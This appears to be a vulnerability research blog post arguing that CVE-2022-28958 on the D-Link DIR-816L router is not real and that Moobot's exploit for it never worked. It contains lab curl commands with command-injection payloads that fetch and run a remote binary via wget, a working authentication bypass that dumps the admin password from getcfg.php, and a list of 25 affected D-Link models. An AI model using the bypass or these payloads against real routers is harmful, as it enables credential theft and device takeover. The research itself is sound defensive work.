Introduction
On September 8, 2022, CVE-2022-28958 was added to CISA's Known Exploited Vulnerability Catalog. A report published a couple days prior said the vulnerability was being exploited by Moobot, a Mirai-like botnet. However, this vulnerability has never been exploited in the wild, because CVE-2022-28958 isn’t a real vulnerability.
On April 6, 2022, GitHub user shijn0925 published four vulnerabilities affecting the end-of-life SOHO router D-Link DIR-816L. The vulnerability details were published in markdown files named 1.md through 4.md. MITRE assigned the following CVE identifiers for the researcher’s findings:
- 1.md - CVE-2022-28955
- 2.md - None assigned
- 3.md - CVE-2022-28958
- 4.md - CVE-2022-28956
This blog is predominantly about CVE-2022-28958 not being a real vulnerability, but it’s interesting to note that the other two findings likely shouldn’t have received CVE either. CVE-2022-28955 (missing authentication) appears to be as-designed functionality with low or no security impact. CVE-2022-28956 (authentication bypass) is a real security issue, but a duplicate of four other CVE: CVE-2020-15894, CVE-2020-9376, CVE-2019-17506, and CVE-2018-7034. Amazingly, we found those five CVE don’t cover all affected devices. The authentication bypass is useful to us later in the blog, so we ended up creating a list of affected devices (see addendum at the end of the blog).
All of this is worth discussing, not just because CVE-2022-28958 found its way into the KEV Catalog, but because there are a good number of these devices on the internet. Shodan has indexed around 6,000 of them:
Moobot and CVE-2022-28958
Let's look at shijin0925's original disclosure. The following vulnerability description is provided (note that we didn't correct any language):
DIR816L_FW206b01 shareport.php has an issue that attackers can use it to execute command via "value" parameter.
The disclosure also includes this code snippet from
if ($AUTHORIZED_GROUP < 0)
{
$result = "FAIL";
$reason = i18n("Permission deny. The user is unauthorized.");
}
else
{
if ($_POST["action"] == "sethostname")
{
$value = $_POST["value"];
if ($value != "")
{
set("/device/gw_name", $value);
event("SHAREPORT.SETGWNAME");
$RESULT = "OK";
$REASON = "";
}
}
else fail(i18n("Unknown ACTION!"));
}
And the disclosure specifically calls out the use of
As you can see there is not enough filter with paramter "value",it just passed to function set which execute command directly.
According to this disclosure, the vulnerability is the result of an attacker-controlled
curl http://192.168.0.1:80/getcfg.php -d "action=sethostname&value=%26%20ls%20-la%20%26%0aAUTHORIZED_GROUP=1"
The disclosure doesn’t contain the output of the
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if($AUTHORIZED_GROUP < 0)
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
else
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1")
{
AES_Encrypt_DBnode($GETCFG_SVC, "Encrypt");
dophp("load", $file);
AES_Encrypt_DBnode($GETCFG_SVC, "Decrypt");
}
}
$SERVICE_INDEX++;
}
}
}
After reading the above code, it’s obvious the researcher's proof of concept is useless. It doesn’t touch the endpoint where the vulnerable code allegedly resides, and the endpoint it does reach doesn’t do anything with the provided parameters. It’s amusing that, apparently, the Moobot developers copied the researcher’s mistake. Pictured below, from Unit 42's blog, is Moobot's implementation of CVE-2022-28958 as seen via Wireshark:
Above, Moobot sends an HTTP POST request to
If the screenshot can be trusted, the Moobot developers also encoded the payload incorrectly. By using
Either way, the exploit can't work because it's hitting the wrong endpoint. Which is interesting, but that doesn't mean
Local Testing of a D-Link DIR-816L
The affected DIR-816L is end-of-life, but it was easy find one on Ebay. Fortuatunely, the affected firmware, 2.06.B01, is also available on D-Link’s legacy files archive:
So we had everything needed to test the device in a local lab setup. We started testing by throwing the researcher’s original proof of concept at the device.
albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20ls%20-la%20%26%0aAUTHORIZED_GROUP=1" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?>
<postxml>
</postxml>
Underwhelming to say the least. No indication that
albinolobster@mournland:~$ curl -d "action=sethostname&value=& wget http://192.168.0.164/test; chmod 777 test; ./test & AUTHORIZED_GROUP=1" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<result>FAILED</result>
<message>Not authorized</message>
</postxml>
We received a “Not authorized” response because the authorization bypass didn’t work, as we predicted earlier in the blog. Without a working bypass, the attacker needs to be authenticated to the device. This is a fairly important detail that NIST overlooked when assigning CVE-2022-28958 a CVSSv3 score of 9.8. CISA, presumably, also overlooked this when they added CVE-2022–28958 to the KEV Catalog but not CVE-2022–28956.
If we fix Moobot's exploit to use the bypass correctly, fix the (assumed) command injection, and simplify the payload then we get this:
albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20wget%20http://192.168.0.164/test%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?>
<postxml>
</postxml>
Now, in this case, we had
albinolobster@mournland:~$ sudo nc -lvnp 80
[sudo] password for albinolobster:
Listening on 0.0.0.0 80
But remember, we didn't expect any of that to work anyway. We already knew
albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20wget%20http://192.168.0.164/test%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/shareport.php
<?xml version="1.0" encoding="utf-8"?>
<shareportreport>
<action>sethostname</action>
<result>OK</result>
<reason></reason>
</shareportreport>
A new response! But still no
albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20ls%20-l%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/shareport.php
<?xml version="1.0" encoding="utf-8"?>
<shareportreport>
<action>sethostname</action>
<result>OK</result>
<reason></reason>
</shareportreport>
Again, no proof the exploit was successful. Perhaps exploitation is blind? If that's the case, why provide a proof of concept using
CVE-2022-28958: Not a Real Vulnerability
Let's return to the researcher's original claim. They state the following code in
set("/device/gw_name", $value);
The claim that
Execution of PHP files like
The xml database contains the router's configuration. When the user calls
# xmldbc -g /device/gw_name
& wget http://192.168.0.164/test &
# xmldbc -d /tmp/config.xml
# cat /tmp/config.xml | grep gw_name
<gw_name>& wget http://192.168.0.164/test & </gw_name>
Here you can see our malicious
Looking deeper with Ghidra, we didn't find any evidence of command execution when tracing the logic from the http server through
However, this vulnerability is in the KEV Catalog so it’s worth looking even deeper. Let’s seek out artifacts left by CVE-2022-28958 “exploitation” on internet-facing devices.
Internet Scanning
As stated earlier, the researcher’s original proof of concept had
if ($AUTHORIZED_GROUP < 0)
{
$result = "FAIL";
$reason = i18n("Permission deny. The user is unauthorized.");
}
else
{
if ($_POST["action"] == "sethostname")
{
$value = $_POST["value"];
if ($value != "")
{
set("/device/gw_name", $value);
event("SHAREPORT.SETGWNAME");
$RESULT = "OK";
$REASON = "";
}
}
else fail(i18n("Unknown ACTION!"));
}
?>
The bypass is useful because it gives an attacker access to most of the router's PHP logic. As we’ve stated, the bypass has been assigned five CVE at this point, and it's typically associated with a credential leak (which also happens to work on the DIR-816L):
albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1:80/getcfg.php -d "SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1"
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>wget http://192.168.0.164/test</gw_name>
<account>
<seqno>1</seqno>
<max>2</max>
<count>1</count>
<entry>
<uid>USR-</uid>
<name>Admin</name>
<usrid></usrid>
<password>labpass1</password>
<group>0</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>180</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>
Credential leaks on routers are useful for attackers that manipulate router configurations or upload malicious firmware, but for our purposes, the authentication bypass can be used to grab detailed version information from the
albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1/DevInfo.txt?vuln=check%0aAUTHORIZED_GROUP=1270
Firmware External Version: V2.06
Firmware Internal Version: f4jc
Model Name: DIR-816L
Hardware Version:
WLAN Domain: CA
Kernel: 2.6.30.9
Language: en
Graphcal Authentication: Disable
LAN MAC: f8:e9:03:c1:81:b4
WAN MAC: f8:e9:03:c1:81:b7
WLAN MAC: f8:e9:03:c1:81:b4
Using the bypass also allows us to read
albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1/mydlink/get_WanSetting.asp -d "test=test%0aAUTHORIZED_GROUP=1"
<wansetting>
<config.wan_ip_mode>1</config.wan_ip_mode>
<config.wan_dhcp_gw_name>& wget http://192.168.0.164/test & </config.wan_dhcp_gw_name>
<mac_clone>f8:e9:03:c1:81:b7</mac_clone>
... truncated ...
In theory, if these devices were under attack using the
Consulting Greynoise
Finally, we consulted Greynoise. They can give us insight into whether
From the screenshot above, you can see that Greynoise isn’t seeing CVE-2022-28958 exploitation either. Greynoise does have an existing tag for the
But, as previously mentioned,
Summary
In summary, this blog established the following:
- The original researcher's proof of concept for CVE-2022-28958 never worked.
- Moobot copied the researcher's proof of concept and added additional errors. Their exploit never worked.
- CVE-2022-28958 isn't real. We tested firmware versions 2.03b1, 2.06b1 (the reportedly vulnerable version) and 2.06b9 and found no evidence the vulnerability exists. The original researcher provided no evidence either.
- Internet-facing D-Link DIR-816L did not contain artifacts that would indicate they were exploited by CVE-2022-28958.
- GreyNoise has not seen shareport.phpHTTP requests hit their honeypots.
We conclude that CVE-2022-28958 is not a real vulnerability and at-scale exploitation has never occurred. The vulnerability should not be listed by MITRE, and it should not be in the CISA Known Exploited Vulnerabilities Catalog. We filed a dispute with MITRE and shared our findings with CISA in October 2022.
Addendum
VulnCheck has found the following D-Link models to be vulnerable to the
- DIR-300
- DIR-600
- DIR-605L
- DIR-610
- DIR-610N+
- DIR-615
- DIR-629
- DIR-645
- DIR-685
- DIR-803
- DIR-806
- DIR-815
- DIR-816L
- DIR-817LW
- DIR-818L
- DIR-818LW
- DIR-822
- DIR-845L
- DIR-850L
- DIR-860L
- DIR-865L
- DIR-868L
- DSL-2890AL
- GO-RT-AC750
- WBR-2200